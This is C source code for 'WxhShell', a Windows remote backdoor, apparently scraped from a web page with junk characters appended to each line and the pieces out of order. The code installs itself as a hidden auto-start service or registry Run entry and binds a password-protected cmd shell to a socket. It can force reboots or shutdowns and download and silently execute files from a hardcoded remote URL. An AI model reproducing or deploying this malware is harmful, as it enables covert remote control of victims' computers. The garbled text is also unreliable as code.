    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T!f+H?6  
    if(Boot(SHUTDOWN)) ;J uBybJb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c-`'`L^J  
    else { )r0XQa]@$  
    closesocket(wsh); GhJ<L3  
    ExitThread(0); 2_/H,  
    } D'8xP %P  
    break; BvnNAi  
    } AjYvYMA&  
  // 获取shell .](~dVp%~  
  case 's': { 9ZD>_a  
    CmdShell(wsh); }5Zmc6S{  
    closesocket(wsh); :5'8MU  
    ExitThread(0); l cX'n8/3  
    break; We`6# \Z X  
  } 7DZZdH$Fm  
  // 退出 5!s7`w]8*0  
  case 'x': { 1!S*z^LGl  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v:IpZ;^  
    CloseIt(wsh); <eh<4_<qF  
    break; gcA,u)z}R  
    } Hk 0RT%PK  
  // 离开 uFUVcWt  
  case 'q': { p 2>\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R:5uZAx  
    closesocket(wsh); Z ~3  
    WSACleanup(); shZEE2Dr  
    exit(1); :|HCUZ*H(T  
    break; jtv<{7a  
        } ii5dTimRJ  
  } ?APCDZ^  
  } J $^"cCMr  
PJ))p6 9  
  // 提示信息 adn2&7H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YXLZ2-%ohZ  
} rqWD#FB=z  
  } 8zO;=R A7%  
O +u? Y  
  return; M nnVk=  
} I]-"Tw  
ZA7b;{o [  
// shell模块句柄 3rj7]:Vr  
int CmdShell(SOCKET sock) veAdk9  
{ ,Ma%"cWVC  
STARTUPINFO si; -4v2]  
ZeroMemory(&si,sizeof(si)); PVi0|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; em9nuXG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; RZ0+Uu/J  
PROCESS_INFORMATION ProcessInfo; C/!7E:  
char cmdline[]="cmd"; IP!`;?T=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ] 1s6=  
  return 0; Ys>Z=Eky  
} f~?kx41dq  
ID~}pEQ  
// 自身启动模式 Aj*|r  
int StartFromService(void) sdBB(  
{ Hy b_> n  
typedef struct W.c>("gC  
{ F):1@.S  
  DWORD ExitStatus; IOY<'t+  
  DWORD PebBaseAddress; bl-D{)X  
  DWORD AffinityMask; O$7r)B6Cs  
  DWORD BasePriority; : j`4nXm  
  ULONG UniqueProcessId; Tq,dlDDOR  
  ULONG InheritedFromUniqueProcessId; S|O#KE  
}   PROCESS_BASIC_INFORMATION; YRyaOrl$<  
*{(tg~2'(  
PROCNTQSIP NtQueryInformationProcess; LaYd7Oyf]  
GK[9Cm"v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XZ:6A]62I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7.tIf <^$P  
|`pDOd  
  HANDLE             hProcess; ;!B,P-Z"g  
  PROCESS_BASIC_INFORMATION pbi; tu^C<MV  
GO3KKuQ=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'yR\%#s6  
  if(NULL == hInst ) return 0; ?>NX}~2cf  
eyy%2> b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); CQs,G8 \/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JvF0s}#4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RBpv40n0  
O f]/tdPp  
  if (!NtQueryInformationProcess) return 0; }J6 y NoXu  
=vsvx{o?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v,Z?pYYo  
  if(!hProcess) return 0; H#3Ma1z  
ft$!u-`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !`dMTW  
p: u@? k  
  CloseHandle(hProcess); ]f6,4[  
|Y30B,=M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yJdkDVxYr  
if(hProcess==NULL) return 0; sY* qf=  
Hq|{Nt%Q  
HMODULE hMod; x_- SAyH  
char procName[255]; C_&ZQlgQ  
unsigned long cbNeeded; 19i=kdH  
XdE|7=+s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U:gvK 8n  
5}2148  
  CloseHandle(hProcess); UYGO|lkEU  
VuuF _y;  
if(strstr(procName,"services")) return 1; // 以服务启动 vBV_aB1{  
2+yti,s+/  
  return 0; // 注册表启动 (d['f]S+&  
} #e[igxwi  
m,Mg  
// 主模块 T3t w.yh  
int StartWxhshell(LPSTR lpCmdLine) ->W rBO  
{ Sc:)H2k`$  
  SOCKET wsl; p+CK+m   
BOOL val=TRUE; #<vzQ\~Y  
  int port=0; tcD5"ALJ  
  struct sockaddr_in door; ZeH=]G4Zv7  
B3p79 j  
  if(wscfg.ws_autoins) Install(); of>H&G)@  
x5k6"S"1,  
port=atoi(lpCmdLine); _xM3c&VeG  
SKo*8r   
if(port<=0) port=wscfg.ws_port; ^ R3g7 DG  
{*X|)nr  
  WSADATA data; :` S\p[5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '\P+Bu]6&  
!3\( d{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G%T<wKD<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +< )H2  
  door.sin_family = AF_INET; =- !B4G$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [pSQ8zdF"  
  door.sin_port = htons(port); #yOeL3|b'  
cUwR6I9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?}No'E1!I  
closesocket(wsl); } A}Vd:#  
return 1; *Tq7[v{0*|  
} 3u'@anre  
uExYgI`<%&  
  if(listen(wsl,2) == INVALID_SOCKET) { 72dd%  
closesocket(wsl); &&Otj-n5  
return 1; $S U<KNMZ  
} \o5/, C  
  Wxhshell(wsl); IW=%2n(<1  
  WSACleanup(); 6G:7r [  
T5aeO^x  
return 0; ]E1|^[y  
LGWQBEXw  
} ]C>h_,EZc  
Bb7Vf7>  
// 以NT服务方式启动 =!=DISPo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) WDh*8!)  
{ 4qyPjAG  
DWORD   status = 0; {mA#'75a#  
  DWORD   specificError = 0xfffffff; W1[C/dDc  
jNAboSf2Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lht :%Ts$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; WISeP\:^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F "-GhjK  
  serviceStatus.dwWin32ExitCode     = 0; 8zpTCae^=7  
  serviceStatus.dwServiceSpecificExitCode = 0; Z`ZML+;~6  
  serviceStatus.dwCheckPoint       = 0; <#lNi.?.  
  serviceStatus.dwWaitHint       = 0; ^;;gPhhWV  
WU6F-{M"?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wfM|3GS+.  
  if (hServiceStatusHandle==0) return; JgB"N/Oz  
NZuylQ)0  
status = GetLastError(); >x${I`2w  
  if (status!=NO_ERROR) BsYJIKfW  
{ E>kgEfzxP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; A~8-{F 31  
    serviceStatus.dwCheckPoint       = 0; da$ErN '{  
    serviceStatus.dwWaitHint       = 0; |L6 +e *  
    serviceStatus.dwWin32ExitCode     = status; lv& y<d;  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3_Mynop  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l6 T5]$  
    return; 3EyVoS6D  
  } K}Lu1:~  
_%<q ZT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0V'XE1h  
  serviceStatus.dwCheckPoint       = 0; xUDXg*  
  serviceStatus.dwWaitHint       = 0; 7/FF}d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6"V86b0)h}  
} 4M>EQF&  
7@ mP;K0  
// 处理NT服务事件,比如:启动、停止 II(P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I(+%`{Wv  
{ S{JBV@@tC  
switch(fdwControl) <s5s<q2  
{ k; vhQ=  
case SERVICE_CONTROL_STOP: $!:xjb  
  serviceStatus.dwWin32ExitCode = 0; <nF1f(ky  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sT>l ?L  
  serviceStatus.dwCheckPoint   = 0; vtXZ`[D,l)  
  serviceStatus.dwWaitHint     = 0; &(A'uX.>pr  
  { }E\u2]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Med0O~T%  
  } oY7 eVuz  
  return; oqy}?<SQ  
case SERVICE_CONTROL_PAUSE: xBAASy  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r'& 6P-Vm  
  break; 8#15*'Y  
case SERVICE_CONTROL_CONTINUE: X=pPkgW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1lf]}V  
  break; ,%,.c^-  
case SERVICE_CONTROL_INTERROGATE: (?~*.g!  
  break; KJ8Qi+cZ  
}; B0:/7Ld$Ml  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /` 4B-Y4M4  
} ~9dAoILrl  
sQ%gf  
// 标准应用程序主函数 Iqb|.vLG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j'|`:^ Sy  
{ ]nQ(|$rW  
%ysf FE  
// 获取操作系统版本 f}+8m .g2  
OsIsNt=GetOsVer(); [^A>hs*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K_LwYO3  
.l~g`._  
  // 从命令行安装 $Z4IPs  
  if(strpbrk(lpCmdLine,"iI")) Install(); s@5r}6?M  
C/A~r  
  // 下载执行文件 RTvzS]  
if(wscfg.ws_downexe) { is}Y+^j.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5`[B:<E4  
  WinExec(wscfg.ws_filenam,SW_HIDE); F(;C \[Ep  
} V tJyE}  
6O'6,%#  
if(!OsIsNt) { %Dm:|><V$b  
// 如果时win9x,隐藏进程并且设置为注册表启动 :*s+X$x,<  
HideProc(); LkIbvJCV  
StartWxhshell(lpCmdLine); P};GcV-  
} VNWa3`w  
else {-)*.l=  
  if(StartFromService()) + +G %~)S:  
  // 以服务方式启动 =hB0p^a  
  StartServiceCtrlDispatcher(DispatchTable); 2Jc9}|,  
else ex-W{k$  
  // 普通方式启动 ~F=,)GE  
  StartWxhshell(lpCmdLine); +~1~f'4J  
bdkxCt  
return 0; APT /z0X>  
} LjMhPzCp  
K44j-Ypb  
n 0CS =  
MyJG2C#R  
=========================================== HrS  
088"7 s  
D!CuE7}  
YUsMq3^&  
4m3pF0k  
x$Tf IFy  
" &u7oa  
7__?1n~{  
#include <stdio.h> [*AWCV  
#include <string.h> LX_{39?<{  
#include <windows.h> , 1` -u$  
#include <winsock2.h> ?^H1X-;  
#include <winsvc.h> Y]>Qu f.!  
#include <urlmon.h> ,=Fn6'  
!_SIq`5]@  
#pragma comment (lib, "Ws2_32.lib") 1I -LGe[Q  
#pragma comment (lib, "urlmon.lib") 7JHS8C<]  
|8YP8o  
#define MAX_USER   100 // 最大客户端连接数 t?:Q  
#define BUF_SOCK   200 // sock buffer q^k]e{PD  
#define KEY_BUFF   255 // 输入 buffer J,=: ] t  
mtn+bV R%  
#define REBOOT     0   // 重启 '4}c1F1T_  
#define SHUTDOWN   1   // 关机 I~.d/!>Z  
K:g:GEDgf  
#define DEF_PORT   5000 // 监听端口 wz(D }N5  
:[ AP^  
#define REG_LEN     16   // 注册表键长度 Zc9j_.?*  
#define SVC_LEN     80   // NT服务名长度 ,dO$R.h  
n%YG)5;  
// 从dll定义API =YRN"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wu2C!gyBo  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 78i"3Tm)w  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3Ta<7tEM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M?fRiOj  
(66DKG   
// wxhshell配置信息 q"Z!}^{  
struct WSCFG { 8 K/o/  
  int ws_port;         // 监听端口 11Hf)]M   
  char ws_passstr[REG_LEN]; // 口令 P.;S6i n  
  int ws_autoins;       // 安装标记, 1=yes 0=no &RP}w%I1  
  char ws_regname[REG_LEN]; // 注册表键名 f!"Y"g:@E  
  char ws_svcname[REG_LEN]; // 服务名 4: <=%d  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (s\":5 C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \O7Vo<B&D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t9Nu4yl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5@{+V!o,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V ^U1o[`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  !&Z,ev  
&MlBp I  
}; Q$(0Nx<  
-MqWcB9&  
// default Wxhshell configuration ", :Ta|  
struct WSCFG wscfg={DEF_PORT, *I(g~p  
    "xuhuanlingzhe", {vJ)!'Eh  
    1, gAY%VFBP0  
    "Wxhshell", ;\ $P;-VY  
    "Wxhshell", joN}N}U  
            "WxhShell Service", CY4_=  
    "Wrsky Windows CmdShell Service", ;Q]j"1c  
    "Please Input Your Password: ", `>q|_w \e  
  1, v0dFP0.;&  
  "http://www.wrsky.com/wxhshell.exe", =!#iC?I  
  "Wxhshell.exe" ^!*?vHx:  
    }; Vd{h|=J  
| 3`qT#p{  
// 消息定义模块 >Ufjmm${  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Rro{A+[,X  
char *msg_ws_prompt="\n\r? for help\n\r#>"; FBGHVV w!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P'Fy,fNg  
char *msg_ws_ext="\n\rExit."; I>27U<PX  
char *msg_ws_end="\n\rQuit."; 4nhe *ip  
char *msg_ws_boot="\n\rReboot..."; I@=h|GM  
char *msg_ws_poff="\n\rShutdown..."; vl@t4\@3  
char *msg_ws_down="\n\rSave to "; {tE/Jv $  
c#G]3vTdE  
char *msg_ws_err="\n\rErr!"; ~EU[?  
char *msg_ws_ok="\n\rOK!"; /p [l(H  
<(JsB'TK  
char ExeFile[MAX_PATH]; fJ Ch  
int nUser = 0; |7Q8WjCQ{m  
HANDLE handles[MAX_USER]; 0;)6ZU  
int OsIsNt; ~^.&nph  
wS2iyrIB  
SERVICE_STATUS       serviceStatus; lO9{S=N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; j8os6I  
=3=KoH/'  
// 函数声明 mm=Y(G[_%y  
int Install(void); );h\0w>3  
int Uninstall(void); Kfj*uzKB  
int DownloadFile(char *sURL, SOCKET wsh); JLAg-j2  
int Boot(int flag); HHZ!mYr  
void HideProc(void);  ZW2#'$b  
int GetOsVer(void); 2LYd # !i  
int Wxhshell(SOCKET wsl); 7/vr!tbL`p  
void TalkWithClient(void *cs); E|9LUPcb  
int CmdShell(SOCKET sock); %:o@IRTRU  
int StartFromService(void); L>UYR++<6  
int StartWxhshell(LPSTR lpCmdLine); s/[i>`g/9  
i,")U)b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); BHmA*3?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); LbR/it'}  
fnnwe2aso  
// 数据结构和表定义 `Ik}Xw  
SERVICE_TABLE_ENTRY DispatchTable[] = -R'p^cMA  
{ Re1@2a>  
{wscfg.ws_svcname, NTServiceMain}, dr6 dK  
{NULL, NULL} [/uKo13  
}; l3MbCBX2  
* Kzs(O  
// 自我安装 >q &ouVE  
int Install(void) [bPE?_a,  
{ W,{`)NWg  
  char svExeFile[MAX_PATH]; G^mk<pH  
  HKEY key; z3*G(,  
  strcpy(svExeFile,ExeFile); Mty]LMK  
_ z4rx  
// 如果是win9x系统,修改注册表设为自启动 lIjHd#q-C  
if(!OsIsNt) { T %a]3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c0G/irK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u F*cS&'Z  
  RegCloseKey(key); PYHm6'5BtB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M<$l&%<`G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <uTsX v  
  RegCloseKey(key); ,IJNuu\  
  return 0; j [U0,]  
    } aY:(0en]&  
  } *VlYl"  
} J#x91Jh  
else { VvF&E>f C  
#8z\i2I  
// 如果是NT以上系统,安装为系统服务 ;5|EpoM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >A,WXzAK}S  
if (schSCManager!=0) ewY[vbF  
{ #P9VX5Tg  
  SC_HANDLE schService = CreateService _5m }g!  
  ( >rFvT>@NU  
  schSCManager, F{"%ey">  
  wscfg.ws_svcname, fcZOsTj  
  wscfg.ws_svcdisp, Uqpvj90sw  
  SERVICE_ALL_ACCESS, 'j3'n0o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ppnj.tLz;r  
  SERVICE_AUTO_START, bp$jD  
  SERVICE_ERROR_NORMAL, ^r& {V"l]  
  svExeFile, Y>#c2@^i<  
  NULL, #] GM#.  
  NULL, 5?fk;Q9+\  
  NULL, UA8!?r-cR  
  NULL, ww,c)$  
  NULL *"CvB{XF&Z  
  ); {;}8Z$  
  if (schService!=0) >gSerDH8\  
  { /< :; ^B  
  CloseServiceHandle(schService); \;6F-0  
  CloseServiceHandle(schSCManager); Ax^'unfQ:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P8VU&b\  
  strcat(svExeFile,wscfg.ws_svcname); lX4p'R-h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ww(_EW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I7~|!d6  
  RegCloseKey(key); fA8+SaXW%  
  return 0; jwq"B$ap  
    } "P{&UwMmh  
  } 4r. W:}4:  
  CloseServiceHandle(schSCManager); XJzXxhk2  
} bevT`D  
} uJOW%|ZN`  
Ax0,7,8y  
return 1; ZYsFd_  
} jyGVbno`  
xB(:d'1|  
// 自我卸载 ffM(il/2  
int Uninstall(void) Y2X1!Em>B  
{ K*Jtyy}r  
  HKEY key; OVyy}1Hx  
Vi#im`@  
if(!OsIsNt) { @;6}xO2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jEsTw_  
  RegDeleteValue(key,wscfg.ws_regname); %jxuH+L   
  RegCloseKey(key); m=MT`-:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JC"K{ V{  
  RegDeleteValue(key,wscfg.ws_regname); 5 DB>zou   
  RegCloseKey(key); XX-T",  
  return 0; ' D&G~$  
  } 4c=kT@=jX  
} 42CMRGv  
} &%X Jf~IQ  
else { [bv@qBL  
kkBU<L2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H040-Q;S'  
if (schSCManager!=0)  ^qqHq  
{ i8Y gG0[)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f hG2  
  if (schService!=0) ]7t\%_  
  { rhTk}2@h  
  if(DeleteService(schService)!=0) { t4_K>Mj+d  
  CloseServiceHandle(schService); [T]qm7 ?  
  CloseServiceHandle(schSCManager); va(9{AXI  
  return 0; ]zU<=b@  
  } ?ev G=S4>  
  CloseServiceHandle(schService); +)JqEwCrq  
  } pMp9 O/u%  
  CloseServiceHandle(schSCManager); 2U'JzE^Do  
} j{R|]SjW2H  
} 9! HMQ  
^Cn]+0G#C8  
return 1; f_h"gZWV  
} ~e<'t4  
MD4 j~q\ g  
// 从指定url下载文件 0^.4eX:E_  
int DownloadFile(char *sURL, SOCKET wsh) q;../h]Ne  
{ L*01l"5  
  HRESULT hr; {2k< k(,  
char seps[]= "/"; c9TAV,/fF*  
char *token; &IEBZB\/+&  
char *file; G\N"rG=  
char myURL[MAX_PATH]; DgT.Lku?  
char myFILE[MAX_PATH]; jnp6qpY{  
tW.>D;8  
strcpy(myURL,sURL); J s<MJ4r>/  
  token=strtok(myURL,seps); OO\biYh o  
  while(token!=NULL) q\t>D _lU  
  { <Mn7`i  
    file=token; a-A+.7  
  token=strtok(NULL,seps); n+\Cw`'<H  
  } 199hQxib:  
Qv0>Pf  
GetCurrentDirectory(MAX_PATH,myFILE); renmz,dJ,  
strcat(myFILE, "\\"); QjjJtKz  
strcat(myFILE, file); , HI%Xn  
  send(wsh,myFILE,strlen(myFILE),0); (zJ$oRq  
send(wsh,"...",3,0); hW !@$Ph  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); aRO_,n9  
  if(hr==S_OK) aU.0dsq  
return 0; oj(A`[  
else ssX6kgq_(  
return 1; m wEVEx24  
2mG&@E  
} 1Q&WoJLfR  
aEFe!_QY  
// 系统电源模块 v>y8s&/  
int Boot(int flag) :Bv&)RK  
{ ^,Y~M_=  
  HANDLE hToken; `YmI'  
  TOKEN_PRIVILEGES tkp; vi!r8k  
IJ_ 'w[k  
  if(OsIsNt) { :S99}pgY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4&]To@>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AYPf)K;%  
    tkp.PrivilegeCount = 1; 0(U3~ k6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bV )PT`-,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |Y8Mk2,s  
if(flag==REBOOT) { i_9Cc$Qh<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y6f+__O  
  return 0; cGpN4|*rQ  
} ))CXjwLj;  
else { C?/r}ly<\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) iUxDEt[t*  
  return 0; lN)Y  
} y\|-O<8O  
  } TM/|K|_  
  else { cFI7}#,5  
if(flag==REBOOT) { > G4HZE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !4 4mT'Y  
  return 0; @\6nXf  
} @wEKCn|}o  
else { @;m@Luk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0$f_or9T  
  return 0; -n=$[-w  
} G%j/eTTf  
} Y>78h2AU  
7}#*3*]  
return 1; Z/NGv  
} "5o;z@(  
X]zCTY=l  
// win9x进程隐藏模块 U!a!|s>  
void HideProc(void) \'s$ZN$k  
{ @Hspg^  
8u:v:>D.'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); VW{aUgajO  
  if ( hKernel != NULL ) "o^bN 9=  
  { up+.@h{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $ ,; ;u:-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #uD)0zdw  
    FreeLibrary(hKernel); so?pA@O  
  } hapB! ~M?  
|n|U;|'^  
return; Pp1zW3+Q  
} %jbJ6c  
t-*VsPy  
// 获取操作系统版本 ?$30NK3G  
int GetOsVer(void) vi[#? ;pkF  
{ GZ/pz+)i&  
  OSVERSIONINFO winfo; mHK@(D7X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Aj8l%'h[  
  GetVersionEx(&winfo); w|!YoMk+o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tsTR2+GZS  
  return 1;  D rF  
  else iX8h2l  
  return 0; 1&X}1  
} 3o+KP[A  
o9KyAP$2  
// 客户端句柄模块 _L&n&y1+%  
int Wxhshell(SOCKET wsl) V]l&{hl,  
{ Gt^|+[gD  
  SOCKET wsh; s jL*I  
  struct sockaddr_in client; :Az8K)  
  DWORD myID; L Yh@ u1p  
JDC=J(B  
  while(nUser<MAX_USER) }Kv h`@CiJ  
{ l 8O"w&  
  int nSize=sizeof(client); A5CdLwk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MxM]( ew~7  
  if(wsh==INVALID_SOCKET) return 1; 8fJR{jD(s  
mV6#!_"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 52>[d3I3  
if(handles[nUser]==0) G"G{AS  
  closesocket(wsh); ,bB( 24LD  
else j4E H2v  
  nUser++; P_,v5Qx"-  
  } [MV`pF)x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T{_1c oL  
Jz~+J*r;]A  
  return 0; ShC_hi  
} e(?:g@]-r  
UJ7'JBT=k  
// 关闭 socket pBlRd{#fL  
void CloseIt(SOCKET wsh) lr9=OlH  
{ >pgQb9 T+_  
closesocket(wsh); J)-T:.i|0  
nUser--; ' oBo|  
ExitThread(0); 5,F;j<F  
} x7vq?fP0n  
4st~3,lR$  
// 客户端请求句柄 K5P Gi#  
void TalkWithClient(void *cs) }BA9Ka#%  
{ fp9rO}##  
5){tBK|  
  SOCKET wsh=(SOCKET)cs; uK$=3[;U/!  
  char pwd[SVC_LEN]; VT'0DQ!NIq  
  char cmd[KEY_BUFF]; C>AcK#-x,{  
char chr[1]; \eEds:Hg  
int i,j; CT|z[^  
\M+MDT&  
  while (nUser < MAX_USER) { ^Y$QR]  
{d| |q<.-  
if(wscfg.ws_passstr) { f_oq1W)9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZH\0=l)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V{43HA10b  
  //ZeroMemory(pwd,KEY_BUFF); Ynvj;  
      i=0; 7 n\mj\  
  while(i<SVC_LEN) { ,o BlJvm  
a@Mq J=<L  
  // 设置超时 NPS .6qY  
  fd_set FdRead; -&@]M>r@  
  struct timeval TimeOut; Cy`26[E$S  
  FD_ZERO(&FdRead); D`en%Lf!m  
  FD_SET(wsh,&FdRead); s\6N }[s  
  TimeOut.tv_sec=8; * nLIXnm  
  TimeOut.tv_usec=0; <F ew<r2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !IN @i:m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -RGPt D@  
\$j^_C>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %Nl`~Kz9U  
  pwd=chr[0]; vuXS/ d  
  if(chr[0]==0xd || chr[0]==0xa) { q1STRYb   
  pwd=0; DTPay1]6  
  break; ~ eHRlXL'  
  } &D]&UQf  
  i++; #hpIyy%n  
    } 10?qjjb&  
#^Ys{  
  // 如果是非法用户,关闭 socket c!mG1lwD.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Mxo6fn6-46  
} 8[oYZrg  
`v~!H\q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n3'dLJH|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -xz|ayn  
+GYS26  
while(1) { w(Gz({l+  
TMqY4;UeL  
  ZeroMemory(cmd,KEY_BUFF); 2yvVeo&3  
fSjs?zd`  
      // 自动支持客户端 telnet标准   BY$[g13  
  j=0; vGMJ^q  
  while(j<KEY_BUFF) { vu<#wW*9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a&C.=  
  cmd[j]=chr[0]; zFywC-my@  
  if(chr[0]==0xa || chr[0]==0xd) { |:N>8%@6c  
  cmd[j]=0; @ ICb Kg:  
  break; Z^*NnL.'  
  } c yP,[?N  
  j++; Sl"BK0:%7  
    } ;T>+,  
0yz~W(tsm  
  // 下载文件 VRF6g|0;  
  if(strstr(cmd,"http://")) { XMw.wQ '?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %l]Rh/VPn?  
  if(DownloadFile(cmd,wsh)) ;SKcbws  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); lVoik *,B  
